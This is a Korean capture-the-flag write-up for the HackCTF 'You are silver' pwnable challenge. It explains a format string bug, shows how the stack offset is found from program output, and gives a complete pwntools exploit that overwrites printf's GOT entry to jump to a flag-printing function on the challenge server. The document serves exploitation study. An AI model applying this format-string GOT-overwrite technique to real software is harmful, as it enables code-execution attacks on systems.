마지막 printf 함수의 쓰임이 잘못되었다. 이 부분을 이용하여 FSB 공격을 진행할 수 있다.
또한 play_game 함수에서 system("cat ./flag"); 함수를 발견할 수 있다.
FSB 공격을 이용해 printf@got --> system 으로 overwrite 시킨다. ( 마땅한 함수가 printf라서 선택했다. )
일단 FSB 공격을 하려면 offset을 찾아야 한다.
$ ./you_are_silver
Please enter your name
AAAAAAAA %x %x %x %x %x %x %x x
AAAAAAAA 1e4bda10 3354a8d0 1 1b77280 3376d4c0 41414141 20782520 x
You are silver.
Segmentation fault (core dumped)
6번째 %x에서 입력값인 0x41414141을 확인할 수 있다. 따라서 offset은 6이다. (x64 함수호출 규약에 의거하여 찾을 수도 있다.)
이제 페이로드를 작성해야 하는데, offset이 가장 관건이다.
pay = 실행시킬 함수 주소 값 + %[ offset 주소 ]$ln + 패킹 + printf@got 이런 식으로 페이로드가 짜여진다.
중요한 부분은 offset 주소이다. 자료를 참고하여 올바른 offset 주소를 구해보면 8이 나온다. 또한, "ln"으로 한 이유는 8바이트를 입력하기 위해서이다.
( 이해가 안되면 다음 자료의 offset 지정하는 부분을 참고해도 이해하기에 좋다. https://jiravvit.tistory.com/entry/HackCTF-Pwnable-You-are-silver-%ED%92%80%EC%9D%B4-64bit-FSB )
Exploit Code
from pwn import *
#p = process("./you_are_silver")
p = remote("ctf.j0n9hyun.xyz", 3022)
context.log_level = "debug"
e= ELF('./you_are_silver')
pay = ""
cat_flag = 0x400750 # 4196176
p.recvuntil("name\n")
pay += "%4196176d" # cat ./flag
pay += "%8$ln" # offset == 8
pay += "\x00" * (16 - len(pay)) # padding
pay += p64(e.got['printf'])
p.sendline(pay)
p.interactive()